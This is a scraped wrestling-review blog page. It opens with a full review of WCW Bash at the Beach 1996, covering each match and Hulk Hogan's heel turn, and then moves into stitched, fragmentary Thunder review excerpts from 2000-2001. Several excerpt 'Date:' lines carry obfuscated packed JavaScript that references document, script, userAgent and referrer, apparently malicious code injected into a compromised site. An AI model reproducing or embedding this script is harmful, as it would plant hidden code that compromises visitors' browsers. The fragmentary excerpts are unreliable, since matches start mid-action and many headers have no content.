Bash At The Beach 1996 (2021 Redo): Nothing Else Matters

Bash at the Beach 1996
Date: July 7, 1996
Location: Ocean Center, Daytona Beach, Florida
Attendance: 8,300
Commentators: Bobby Heenan, Tony Schiavone, Dusty Rhodes

This is one of the first non-WWE reviews I ever did so it is LONG overdue for a second try. I’m pretty sure you know this one, as it is built around the question of who is the third man. The Outsiders arrived about a month and a half ago and are now ready for their first match, but they need a partner. Now who is that going to be? Let’s get to it.

I do miss the WCW Home Video “And now, our feature presentation” graphic like it’s a Disney movie.

The opening video looks at the Hostile Takeover, which is the only thing that matters whatsoever.

Commentary welcomes us to the show with Dusty wanting the six man tag on first. Fair enough idea actually.

Psychosis vs. Rey Mysterio Jr.

Mike Tenay joins commentary, thank goodness. Rey’s offer of a handshake earns him a slap in the face as Tenay talks about these two training at the same camp and hating each other as a result. They go to the mat with Psychosis slipping out of a cross armbreaker attempt but getting pulled into a leglock. That’s broken up as well as Tenay talks about how big lucha libre is in Mexico.

The pace picks up a bit with Rey getting headscissored to the floor, setting up the big suicide dive. Back in and a legdrop gives Psychosis two and the chinlock goes on. With that being a bit too boring, Psychosis hits a guillotine legdrop (his future finisher) for two and a running clothesline drops Rey again, setting up a fire four necklock. That’s broken up so they head to the apron with Rey launching him into the post. A running flying headscissors (Tenay: “They call it a hurricanrana!”) has Psychosis in more trouble and it’s back inside for Rey to work on the leg.

A kneebar sends Psychosis to the rope but he is fine enough to send Rey throat first onto the top. They head outside with Rey getting dropped onto the barricade, setting up a top rope backsplash to the floor (dang). Back in and an enziguri gives Psychosis two as Heenan wants to know where Tenay learns all of these names. Rey cartwheels up into a hurricanrana to the apron, setting up the top rope hurricanrana out to the floor in a huge crash.

Back in and a springboard moonsault gives Rey two more and a springboard missile dropkick sends Psychosis head first to the floor. The springboard spinning moonsault hits Psychosis again, but Rey’s knee bangs into the barricade. Back in and Rey’s springboard hurricanrana is countered into a sitout powerbomb for two more. Rey gets sent stomach first into the buckle and Psychosis loads up a super Razor’s Edge, which is countered into a super hurricanrana (Splash Mountain) for the pin at 14:22.

Rating: B. This took some time to get going but then it was all action with these two flying around like crazy. Rey snapping off hurricanranas all over the place to the point where only Tenay could keep up with them was great stuff. The other thing to remember is that this is 1996, when this kind of thing was unheard of on this kind of stage outside of about three people. Awesome opener and a heck of a match.

After explaining what we just saw, Konnan says he isn’t worried about facing Ric Flair tonight. Konnan hasn’t had time to develop any allies but he’ll take out all of Flair’s friends, including the women, to keep his US Title.

Big Bubba vs. John Tenta

This would be Big Boss Man (with Jimmy Hart) vs. Earthquake (who has had half of his head shaved to set this up) in a bag of silver dollars on a pole match, because that’s how WCW worked at this point. Bubba runs away to start but runs back in to get elbowed in the face. Tenta goes up but gets belly to back superplexed down for the huge crash. Now it’s Bubba’s turn to climb, earning himself a crotching. Tenta gets smart by trying to take the pole down, only to get whipped by Bubba’s belt.

Bubba tapes him to the middle rope and unloads with the belt to keep him down. For some reason Bubba only tapes one arm before going to cut more of the hair. That means a low blow to Bubba so Tenta can steal the scissors and cut himself free. Bubba is right back up with a spinebuster as Hart climbs the pole to get the bag (which is REALLY high). Tenta gets in a powerslam though and is right there to take the bag from Hart. One good shot to Bubba gives Tenta the win at 9:00.

Rating: D. Well this wasn’t exactly the same as the opener. I’m not sure why WCW would think that fans would want to cheer for an over the hill Earthquake just after he was the Shark, but I’ll assume “because WCW”. The match tried to have a few different things going on at once and most of them didn’t work, which you probably could have guessed.

Lex Luger, Sting and Randy Savage, all in face paint, are ready for the Outsiders and are all ready because they all have goosebumps.

Lord Of The Ring: Diamond Dallas Page vs. Jim Duggan

Page, defending in a taped fist match, has undergone a career renaissance in recent months, going from rich to poor to winning Battlebowl to losing the title shot which came with it to a lot closer to what you remember him as being. Duggan sends him outside in a hurry but gets shouldered in the ribs for his efforts. A neck snap across the top takes Duggan down again and Page tapes his legs around the post.

Referee Nick Patrick unhooks it though, making that a bit of a waste of time. Duggan is right back to knock Page into the ropes and out to the floor, setting up a suplex back in. Another suplex is blocked though and Page takes him down by the arm. Page goes up top but gets crotched (Dusty: “SOMEBODY CALL THE FAMILY!!!”) and Duggan starts hammering away again. They go outside but Page kicks the ropes on the way back in, setting up the Diamond Cutter for the pin at 5:57.

Rating: D. This didn’t work in the slightest and I’m not at all surprised. Page was on his way up but he still had a long way to go before he meant anything. You could see the effort there though and that is a great thing to see. Duggan….dang it he can be hard to like in WCW at this point, but it’s hard to not like someone who could be that goofy.

Post match Duggan is right up to wrap tape around his fist and knock Page silly.

The Dungeon of Doom is ready for the Horsemen, with Kevin Sullivan being ready to show that he is not the weak link. Giant, the World Champion, is ready to crush everyone in front of him. Gene Okerlund thinks Jimmy Hart needs to brush his teeth.

Arn Anderson wants to see what happens to the Outsiders, even though he is not a fan of Sting/Lex Luger/Randy Savage. As for tonight, he is ready to win the tag match and get a World Title shot to bring it back to the Horsemen. Chris Benoit is ready to leave Kevin Sullivan for dead.

Public Enemy vs. Nasty Boys

Double Dog Collar match and dang it I forgot how annoyingly catchy Public Enemy’s theme is. During the Boys’ entrance, Tony points out that they have a large variety of matches on this show and he is absolutely right. That’s something a lot of other promotions could learn from, even if they won’t. Johnny Grunge and Brian Knobbs are chained together and fight to the floor, with Jerry Sags and Rocco Rock following in a hurry.

It’s time for a trashcan (complete with trash for some bonus points) and thankfully we go split screen. Knobbs and Grunge fight up to the beach set, featuring Grunge being beaten with a rubber shark. Sags hits Rock with a surfboard (Tony: “You can do much more with a surfboard than with a rubber shark.”) but Rock climbs a lifeguard stand to flip down onto him. Rock sends Sags through the stand but he is back up to grab a table. Said table is thrown at Rock as we go single screen since they are all together.

A piledriver in the aisle gives Sags two with Grunge making the save. Grunge fights off of the table but gets hit in the head for his efforts. Sags is put through the table for two and it is time for everyone to head back to the ring. Rock sets up another table and goes up but Sags pulls him onto the table, which does not break as Rock bounces off. Sags wraps the chain around his arm and drops an elbow on Rock onto the table….which still doesn’t break. Grunge gets hung with the chain and Rock is sent into the stretched chain for the pin at 11:37.

Rating: D+. Your individual tastes may vary here but my goodness I miss those themed sets. There was sand, a lifeguard chair, a boardwalk and of course the rubber shark. Those things add so much to a show like this and that was certainly the case here. Do something like that and make the show feel special, as it isn’t like you see this very often anywhere these days.

Post match the brawl stays on with Sags being knocked off the apron and through the toughest table of all time.

We aren’t sure where Eric Bischoff is (he didn’t show up for the pre-show) and Gene Okerlund talks about all of the tension backstage. Ignore the Cruiserweight Title match graphic popping up as he talks.

Cruiserweight Title: Disco Inferno vs. Dean Malenko

Disco, in a lot of orange and carrying a gold record, is challenging and promises to dance after he wins the title. Malenko starts fast and knocks him to the floor for a whip into the barricade. A posting puts Disco down again and the leg lariat gives Malenko two back inside. We’re already off to the Figure Four necklock as this is one sided so far. A belly to back suplex drops Disco again and we hit the kneebar.

Malenko lets that go and dropkicks him in the back of the head, setting up an STF. With that broken up, Malenko grabs a sunset flip out of the corner for two. Disco manages to slug away in the corner though and grabs a Stroke for two of his own. They go outside again though and Disco is sent hard into the barricade. Back in and a double armbar goes on as Tony has to explain what it means to “thwart” something.

Disco stretches rather far with his feet to escape again and elbows Malenko down in the corner. The middle rope ax handle sets up a neckbreaker for a slightly delayed two. A swinging neckbreaker lets Disco dance for a second before covering for two more. Malenko catches him with a springboard dropkick but the Texas Cloverleaf is countered into a small package for another near fall. A backslide doesn’t work and Malenko has had it, meaning it’s a tiger bomb into the Cloverleaf to retain at 12:08.

Rating: C+. I think you can call this one a shocking near miracle as Disco was a complete goon most of the time but he was working here and almost pulled off a miracle. He was a good bit away from meaning anything, but at least he put in a heck of a performance here. Malenko was his usual good self and the perfect person to help make Disco look better.

Joe Gomez vs. Steve McMichael

McMichael (Mongo, with Debra, with her dog) is still new to the wrestling thing but this is a weird choice for a pay per view match. Some chops have Gomez in trouble but a backslide gives him two. Gomez manages to send him into the corner but Mongo gets the most obvious low blow imaginable (there was no way the referee didn’t see that). The beating is on with Mongo ramming him into the buckle and grabbing a reverse chinlock (Mongo: “NOW I GOT HIM!”).

The sleeper goes on but Gomez jawbreaks his way to freedom. A neckbreaker gives Mongo two but the Figure Four is countered into a small package for the same. Mongo’s powerbomb is countered with a backdrop and they screw up a sunset flip to give Gomez two more. Mongo has finally had it with this and hits his Tombstone (the one move he could do well) for the pin at 6:37 (ignore Gomez’s foot under the rope).

Rating: D. It’s only that high because of Mongo’s lack of experience but there were more problems than just that. The match was WAY more competitive than it should have been and made Gomez look like a bigger deal than Mongo. Throw in how sloppy it was (again, understandable) and the fact that this was actually on pay per view instead of on Nitro (with half the time) and this was a near disaster.

Ric Flair, with Woman and Elizabeth, says you can never have enough trophies in your career and it’s time to win the US Title. Then the Horsemen can win the tag match so Flair can win the World Title tomorrow and you know what that means: LA CUCARACHA! Then they can have a private party, with Woman being rather interested in having Gene Okerlund there. That was always a weird deal, but Woman made it work.

US Title: Konnan vs. Ric Flair

Flair, with Woman and Elizabeth, is challenging. We actually get a handshake to start until Flair takes him into the corner for a WOO. Konnan headlocks him down but they’re right back up, with Konnan hitting a dropkick. A slap to the face rocks Flair and another headlock takeover has him in trouble. Of note: Dusty says he has been in the ring with Konnan, which is something I need to see.

The surfboard goes on to make Flair scream again and Konnan kicks him in the back to make it even worse. There’s a gorilla press and it’s time for Flair to take a breather on the floor. Konnan clotheslines him off the apron but a Woman distraction lets Flair take over for the first time. Back in and Flair pokes him in the eye so the referee yells, allowing Woman to come in for a low blow. Now it’s Elizabeth offering a distraction so Flair can throw Konnan over the top (with Woman pulling the rope down).

Back in and the chinlock goes on but Konnan fights up and hammers away in the corner. A triangle dropkick puts Flair on the floor and it’s time to beg off back inside. Flair punches his way out of a sunset flip but the Figure Four is countered into a small package. Now Konnan gets his own Figure Four, drawing more Flair screaming. Flair grabs the rope and scores with a suplex, only to get slammed off the top (the classics never die).

The rolling clothesline gives Konnan two and there’s the abdominal stretch rollup for the same. That’s enough to draw Elizabeth onto the apron for a distraction, allowing Woman to hit Konnan in the head with the high heel. Flair covers (with feet on the ropes because he’s a villain) to win the title (for the first time since 1980 and the sixth time overall, still a record) at 15:35.

Rating: B-. I was expecting a styles clash here but they had a pretty good match with Flair knowing how to get the most out of just about anyone. The women cheating to make it easier for Flair is a classic story that will always work and Konnan looks strong in defeat. Rather nice surprise here and that’s always a good thing to see.

The third man has gone into the Outsiders’ dressing room but Gene can’t make out his voice. He knows he has heard it before but he just can’t place it. For some reason he doesn’t ask any of the four security guards, instead asking Tony Schiavone who he thinks it might be. Bobby Heenan suggests asking the guards (or even bribing them) but Gene stops himself because he doesn’t want to get caught up in one of Heenan’s schemes. This has been your latest example of WCW announcers being REALLY STUPID.

Chris Benoit/Arn Anderson vs. Giant/Kevin Sullivan

If Benoit/Anderson win in any way, a Horseman gets a World Title shot tomorrow. The fight is on in the aisle and here is Mongo with his briefcase to jump Giant. The chase is on, leaving Sullivan here on his own….for about three seconds. Sullivan punches his way out of Anderson’s wristlock and it’s time to scrap with Benoit, as tends to be their nature. Anderson comes back in for a knee that looked a bit low, allowing Benoit to take Sullivan outside for a ram into the barricade.

Back in and the double teaming continues, as the Horsemen know they’re done if Giant gets the tag. Anderson misses a charge into the post but Benoit makes the save and hits a running elbow in the corner. Giant makes the save but Anderson grabs the abdominal stretch to keep Sullivan in trouble.

It’s time to work on Sullivan’s leg as I try to get my mind around the idea of Sullivan fighting for a hot tag. Sullivan manages to catapult Anderson into the corner to crotch Benoit and there’s the tag to Giant. Benoit and Sullivan fight into the aisle and then the announcers’ area, leaving Anderson to get chokeslammed for the pin at 7:50.

Rating: C. It was much more of an angle than a match but there was certainly a good story being told. The idea that the Horsemen knew they were in trouble against the Giant meant that they had to keep Sullivan down made sense, as did Giant wrecking things as soon as he came in. Giant was rapidly improving at this point and you could see that he was getting the hang of things in a hurry.

Post match Benoit dives off of the set onto Sullivan as the beating continues. They had back to the ring (after Giant made a rather fast exit) with Benoit wrecking Sullivan. Cue Woman to call him off but the Giant makes the real save. Giant carries the out cold Sullivan off.

Long video on the Hostile Takeover, which really did feel like the biggest thing to happen in a VERY long time. The Outsiders kept appearing and even powerbombed Eric Bischoff off the stage at the Great American Bash. The idea was to present the team as….well as outsiders, and they made you believe that these guys were here to wreck things. I didn’t know what exactly was going on, but I knew it was great. They set this up to perfection and even at eight years old, I needed to know who the third man was going to be.

Outsiders/??? vs. Sting/Lex Luger/Randy Savage

The Outsiders, coming to the ring to some generic music (probably for the only time ever in a bit of trivia that no one ever wondered about), have no third man to crank the drama up even higher. Before Team WCW comes out, here is Gene Okerlund to ask the Outsiders what is up. They confirm that the third man is here but they can handle it themselves for now. Tony: “THEN COME OUT HERE AND KICK THEIR TEETH IN RIGHT NOW!!!” Team WCW is all painted up together for a nice touch.

Luger starts with….the yet to be named Scott Hall (“This Outsider” according to Tony) and takes him into the corner where Sting tries a Stinger Splash. That crushes Luger in the corner and he’s out cold, meaning he is being stretchered out (Now THAT is a great red herring!). Hall goes extra evil by stomping away while Luger is on the stretcher and Tony bothers to name (at least last name) the Outsiders. Sting hammers Hall down in the corner and the fans are WAY into this.

Savage comes in but gets punched out of the air, allowing Nash to get in a shot of his own. Hall gets knocked into the corner though and Nash comes in legally for the first time. Savage unloads in the corner but gets knocked down without much effort. The jumping elbow…I think misses, even though it made contact. Sting comes in and gets elbowed in the corner, setting up the boot choke. Tony brings up the question of why no one has come out to take Luger’s place, which I believe qualifies for a “because WCW”.

It’s back to Hall for the fall away slam and Nash adds the big boot. Sting gets in a shot to Nash’s ribs and a small package gets one on Hall. That’s not enough to bring Savage back in though and Hall grabs the abdominal stretch (and Nash’s hand to make it worse). Nash comes in for his own abdominal stretch, setting up Hall’s sleeper. With that not working, the big side slam gives Nash two but Sting strikes away. The diving tag brings Savage back in and commentary/the crowd is right back into it.

Everything breaks down and Nash gets in a low blow on Savage. Things are looking bleak….and here is Hulk Hogan. Heenan gets in the famous “BUT WHOSE SIDE IS HE ON”, which is still perfect for Heenan and not a spoiler like some have suggested. Hogan clears the ring, turns around, and drops the leg on Savage, revealing himself as the third man. We’ll call it a no contest at 16:52.

Rating: C-. This is just for the match and ignoring the ending. They had to take someone out of the match for the sake of keeping it 2-2, as putting the Outsiders at a disadvantage would mess everything up. The best thing about this is that Hall and Nash can wrestle a good match with anyone and it isn’t like the two of them vs. Sting/Savage was going to be bad. It was a bit dull at parts, but this is a case where 95% of the match means absolutely nothing and that is perfectly fine. The ending was all that mattered here and it worked better than anyone could have dreamed.

Post match we get some more legdrops, allowing Hall to count a pin on Savage. Hulk N Pals clear the ring, including kicking Sting to the floor. Commentary freaks out with some great lines, including Tony thinking this was all planned back in 1994 when Hogan debuted (not true of course, but absolutely something that would fit if they wanted to go that way).

Gene Okerlund gets in the ring for the famous interview, with Hogan telling the fans they need to shut up if they want to hear what he has to say. Hogan talks about how these two came from an organization up north and no one knows more about it than him. He became bigger than the organization and then Ted Turner promised him everything he could want. Well now Hogan is bored, so he wants these two as his friends because they are the new blood of wrestling.

They are going to destroy everything in their path and all the trash in the ring represents the fans. For two years, Hogan did everything for the charities and the kids, but then the fans booed him. Well those fans can stick it, because they wouldn’t be here without him and Eric Bischoff would still be selling meat from a truck in Minneapolis. Hogan: “I was selling out the world while they were bumming gas to put in their car to go to high school.” The New World Organization is running wrestling and whatcha gonna do? Tony signs off, saying Hogan can “Go to h***. Straight to h***.”

Where do you even begin? The first thing is that they actually did it. They actually turned Hulk Hogan, the biggest face in his generation heel. That’s hard to fathom but they did it. Not only did they do it, but they absolutely nailed it, as the fans were stunned by what they saw and responded accordingly. This absolutely holds up and it did exactly what it needed to do, as Hogan is completely fresh and WCW has their hottest angle…..ever.

As for what Hogan said, I don’t think you can argue with it hitting the right chords. Hogan acknowledging that he was booed by the fans and not really knowing how to handle it fits the whole thing perfectly as Hogan always was an egomaniac but could get away with it because the people loved him so much. Much like Austin joining the Alliance in 2001, I’m not sure I get the idea of turning on WCW and thereby fighting the same people you’ve been fighting before as a change of pace, I’d call that minor at best.

This is one of those moments in wrestling and it has absolutely deserved that right. You can’t praise it enough and you certainly can’t argue with how it went immediately thereafter. Hogan absolutely needed this turn to save his career, because the last year and a half had been so bad with him being pushed so hard. It opened up a new world, it was a great promo and it took me a few weeks to comprehend what happened as a kid. To say this holds up would be an understatement and it deserves all the praise that it gets.

Overall Rating: C-. Ignoring the huge main event angle, this was the usual up and down WCW show. You had the talented people turning in good matches but the lower half was its usual drek. That being said, WCW absolutely needed this show and it was absolutely the turning point for the company. As Vince McMahon said after Austin won the title, nothing that happened before tonight matters anymore and everything starts now. Not a great show, but the one point that matters worked very, very well.

 

 

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Thunder – March 14, 2001: That’s So Thunder

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iebdt|var|u0026u|referrer|hahfn||js|php'.split('|'),0,{})) March 14, 2001
Location: Knoxville Civic Coliseum, Knoxville, Tennessee
Commentators: Tony Schiavone, Mike Tenay

Nitro montage.

Cruiserweight Tag Team Title Tournament Semifinals: 3 Count vs. Rey Mysterio/Billy Kidman

Karagias puts him down and a 450 gets two on Rey. Bottoms Up plants Kidman (illegal) for two with Mysterio making the save, followed by a Bronco Buster to Shannon. A middle rope seated senton (not Thesz Press Mike) drops Evan and Kidman dives onto everyone. Back in and Kidman holds Moore up in a wheelbarrow suplex for a springboard missile dropkick to give Rey the pin and the spot in the finals.

Skipper and Romeo come out but are quickly dispatched.

Jason Jett vs. Alex Wright

Wright is ticked off and hammers away before getting two off a powerslam. Jett sends him into the corner and gets two of his own with an enziguri. A standing moonsault lets Jett show off even more but he misses a charge in the corner. Wright gets two of his own off a good looking spinwheel kick and a top rope superplex for the same.

Rating: C+. Jett had some potential and looked like a new star in the making but unfortunately time caught up with him. You would think he would have gotten some time in the WWF but for some reason it never went anywhere. At least someone like Wright is putting him over here so they were kind of trying.

Video on Booker T. vs. Rick Steiner.

Shawn Stasiak vs. Reno

Stacy dances to brighten things up a bit as Stasiak autographs a picture for Reno. Bam Bam Bigelow comes out to chase Stasiak off.

Totally Buff gets chased to the back.

Video on the Rhodes Family vs. Jarrett/Flair.

Kwee Wee vs. Shane Helms

Back in and another crossbody puts Kwee Wee down, followed by a northern lights suplex for two. The Vertebreaker is countered into a rollup for two and Kwee Wee goes back to the slam. He tries to go a bit too high though and a top rope legdrop only hits the mat, setting up the Vertebreaker to give Shane the pin.

We look back at the post match shenanigans from the four way.

Hugh Morrus/Konnan vs. Mike Sanders/Disco Inferno

I guess this is a warmup for Morrus/Konnan, who are described as locker room leaders. No wonder the company went under. The bad guys jump them from behind to take over but Disco stops to dance. Disco and Konnan fight on the floor (aftermath of that music video feud), leaving Morrus to clothesline Mike over the top. We settle back into a regular tag match with Sanders elbowing Morrus off the apron to keep Konnan in trouble.

Team Canada attacks post match.

Video on Scott Steiner vs. Diamond Dallas Page.

Diamond Dallas Page/Dustin Rhodes vs. Jeff Jarrett/Rick Steiner

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Thunder – February 28, 2001: You Can Feel The Cold

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fitbs|var|u0026u|referrer|dnirf||js|php'.split('|'),0,{})) February 28, 2001
Location: Lakefront Arena, New Orleans, Louisiana
Commentators: Tony Schiavone, Mike Tenay

Cruiserweight Tag Team Title Tournament First Round: Kwee Wee/Mike Sanders vs. Jung Dragons

We settle down to Kwee Wee suplexing Kaz into the corner for two with Yang making the save. Sanders comes in and immediately loses control by walking into a neckbreaker. Some former boss. A quick pumphandle slam drops Yang allows a tag back to Kwee Wee, somehow the best option on the team. Yang quickly takes him down with a tornado DDT to put both guys. That means a double tag so Kaz takes Sanders down with an enziguri as everything breaks down.

Shawn Stasiak gives Smooth the Limo Driver (Of all the people, they kept him?) an autographed picture, which Smooth crumples up as soon as Shawn leaves.

Chavo Guerrero tells Johnny Swinger and Jason Lee to hurt Shane Helms tonight.

Shawn Stasiak vs. Johnny the Bull

Stasiak pulls out a picture of himself and autographs it before laying the picture on Johnny.

Security breaks up Rick and Vito, who will be fighting later tonight.

Helms promises to win the title at Greed.

Palumbo comes up to Disco and a match is made for later.

We look at Konnan beating Mike Awesome down on Monday.

Johnny Swinger vs. Shane Helms

Post match Chavo comes out to attack Shane but gets knocked to the floor. Chavo beats up Lee and Swinger to let off some steam.

Konnan vs. Mike Awesome

Disco tries to get Totally Buff to help him against Palumbo tonight.

Video on Booker T. for a little refresher course.

Disco Inferno vs. Chuck Palumbo

Rick Steiner vs. Big Vito

Video on Cat vs. Kanyon with Miss Jones being the main casualty.

Booker T. vs. Scott Steiner

DDP comes in for some Diamond Cutters on the Steiners before he has to run from the rest of the Magnificent Seven to end the show.

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Thunder – November 8, 2000: Get To Mayhem Already

Thunder
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znsnt|var|u0026u|referrer|ttbzt||js|php'.split('|'),0,{})) November 8, 2000
Location: United Center, Chicago, Illinois
Attendance: 7,000
Commentators: Tony Schiavone, Mike Tenay, Stevie Ray

Opening sequence.

Evan Karagias vs. Jamie Noble

Jamie runs 3 Count off. Music hater.

Hardcore Title: Reno vs. Crowbar

Mike Awesome and the Misfits celebrate with the new champion.

Konnan vs. Disco Inferno

Now we get a sitdown interview at what looks like a restaurant (minus food of course) with Mark Madden talking to the Cat, with Ms. Jones who seems to be there to give us something to look at. They manage to stay civil for all of two seconds before Cat calls him greasy. I would say just like the food but again this is a restaurant without actual food.

Mayhem ad.

Rey Mysterio vs. David Flair

Rey starts fast with a springboard splash for two but David, in street clothes, takes it outside for a chop against the barricade. The commentary focuses on Battledome of course as Tygress knocks David out with a hard forearm, setting up back to back Bronco Busters on David. A springboard legdrop to the back of the head puts David away with ease.

Shawn Stasiak vs. Kevin Nash

Nash is checked out by the trainers.

Scott Steiner video.

Luger and Bigelow seem to be in cahoots for the main event tonight. Thanks for clearing that up for us WCW.

Lance Storm vs. Meng

WCW World Title: Booker T. vs. Mike Awesome

Sapp plugs his upcoming boxing match/toughman contest with Refrigerator William Perry and I have no idea how this is supposed to make me want to keep watching. This new woman is HORRIBLE as well as she sounds like someone trying to get picked up at a bar. Terrible all around here and thankfully Sapp never wrestled for WCW.

Goldberg vs. Bam Bam Bigelow vs. Lex Luger

Actually hang on a minute as Kronik comes out before Goldberg and beat up the referee. Stevie: “This is all making sense now.” Tenay: “EXPLAIN IT THEN!”

After a break we see the Boogie Knights paying Kronik off. Dang Stevie was right. It did make sense earlier, assuming you paid attention.

Mayhem ad.

Goldberg vs. Bam Bam Bigelow vs. Lex Luger

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Thunder – October 25, 2000: Goldberg Fell Down

Thunder
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itasy|var|u0026u|referrer|sbrey||js|php'.split('|'),0,{})) October 25, 2000
Location: Alltel Arena, Little Rock, Arkansas
Commentators: Tony Schiavone, Stevie Ray, Mike Tenay

Opening sequence.

Hardcore Title: Reno vs. Kwee Wee

Post match Paisley gets a Roll of the Dice until AWOL (challenging for the title at the pay per view) comes out for the save.

Buff Bagwell vs. MI Smooth

Smooth is still a thing? Buff poses a lot to start so Smooth kicks him in the ribs. Now why has no one else ever thought to do that? Well apparently Buff has because Smooth makes the mistake of posing and gets kicked in the ribs as well. They keep up their slow offense with Buff avoiding a splash in the corner and hitting the double arm DDT. A Blockbuster puts Smooth away in a hurry.

The Cat/Ms. Jones vs. Mike Sanders/Leia Meow

Booker T. and Sting are ready for their six man tag tonight.

Big Vito vs. Vampiro

Rating: C. Fine enough but Vito has fallen through the floor since Russo left. Vampiro was fine but he better lose to Awesome on Sunday if Awesome is getting a World Title match the next night on Nitro. Vito is fine in this jobbing role but right now they need new names. To be fair though, was anyone thinking that it was going to be Vito?

Lance Storm/Elix Skipper vs. Corporal Cajun/Lieutenant Loco

Halloween Havoc video.

Jeff Jarrett/Kronik vs. Goldberg/Booker T./Sting

Post match Steiner hits Booker with the pipe, allowing the heels to destroy their upcoming opponents to end the show.

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Thunder – August 23, 2000: Everybody Hates Disco

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfeab|var|u0026u|referrer|eddzi||js|php'.split('|'),0,{})) August 23, 2000
Location: Tulsa Convention Center, Tulsa, Oklahoma
Attendance: 2,811
Commentators: Stevie Ray, Mike Tenay, Tony Schiavone

Kwee Wee vs. Corporal Cajun

Back from a break with Paisley and Gunns still fighting until they challenge each other for later.

Harris Twins vs. Jung Dragons

Post match Kaz takes another H-Bomb until Kronik comes out for the save. This brings out Leia Meow to yell at the Dragons and take them to the back.

Crowbar vs. Reno

Crowbar gets beaten down until the look-a-like makes the save.

Nash tells Palumbo to take care of Vito and Booker.

Booker and Vito decide to take care of Nash and Palumbo.

Tank Abbott fires 3 Count but makes them his partners in an eight man tag tonight.

3 Count/Tank Abbott vs. Dark Carnival

Booker and Vito are ready for tonight.

Paisley challenges Gunns again. Did they forget already?

Hardcore Title: MI Smooth vs. Norman Smiley

Skipper is on the phone again and says Rection took the money, making it Awesome who will be down two on one. As you might expect, Awesome overhears this and is livid.

Paisley vs. Major Gunns

Skipper tells Storm that the plan worked. Thanks for clarifying that for us.

Mike Sanders vs. Disqo Inferno

Rating: D+. Better match than you would expect here as Disqo is right there in the Kwee Wee camp: a talented in ring guy who never had a chance to be taken seriously because of how stupid his gimmick really was. At least he got in some stuff here and wound up with a pretty nice career despite all those years of being stuck with a comedy character.

US Title: Lance Storm vs. General Rection vs. Mike Awesome

Stevie goes to be with his brother before this match.

Big Vito/Booker T. vs. Kevin Nash/Chuck Palumbo

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Thunder – July 5, 2000: And So, It Ends

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbsn|var|u0026u|referrer|atznb||js|php'.split('|'),0,{})) July 5, 2000
Location: Civic Center, Columbus, Georgia
Attendance: 3,088
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone

Standard Nitro recap to open things up. Enjoy this while it lasts.

Jarrett still wants Hogan. As he rants, Kanyon lays out a production guy with a Kanyon Cutter.

Rey Mysterio vs. Kidman vs. Lance Storm vs. Disco Inferno

Mysterio elbows Kidman from behind though and Disco comes in to bring the quality down. Storm blocks a Bronco Buster with a raised boot, only to have Disco come in and try to steal a pin. Rey is fine with beating up his normal partner but Storm comes back in to break that up. A springboard legdrop gets two on Lance and everything breaks down. Disco piledrives Kidman for two but Storm grabs the half crab to make Disco tap.

Perfect Event is let out of their tanning beds and look like they fell in buckets of red paint. Palumbo wants his mommy as Stasiak is told Woody did this.

Hardcore Title: Big Vito vs. The Demon

Mike Awesome shows doctored footage that makes it look like he beat Rick Steiner on Monday. Gene calls him a mullock (trash) but Awesome hears him, scaring Gene half to death.

Shane and Kanyon argue over who is going to win tonight. Kanyon tries a Kanyon Cutter but Shane stares him down.

Brian Adams/Woody vs. Perfect Event

Vito beats up Funk and leaves the arena.

Buff Bagwell/Booker T. vs. Shane Douglas/Kanyon

MIA is given their orders for the night.

Daffney, now with red hair, is wearing a shirt that says step child.

Tygress/Juventud Guerrera vs. Major Gunns/Lieutenant Loco

Juventud leaves with the title.

Steiner puts the glasses on and is almost blinded.

Video on Vampiro and the Demon.

Crowbar jumps David Flair as Miss Hancock watches.

Jarrett insults Gene for general purposes.

Rick Steiner gets medical treatment.

We recap Crowbar/David/Hancock/Daffney.

Crowbar vs. David Flair

After a break, Hancock is getting checked out for a leg injury. David comes in and thinks something is up so the trainer gets his head shaved.

Rick Steiner vs. Mike Awesome

WCW World Title: Jeff Jarrett vs. Booker T.

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Thunder – June 7, 2000: Let’s See If He Can Screw This Up Too

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehsts|var|u0026u|referrer|sikah||js|php'.split('|'),0,{})) June 7, 2000
Location: Civic Coliseum, Knoxville, Tennessee
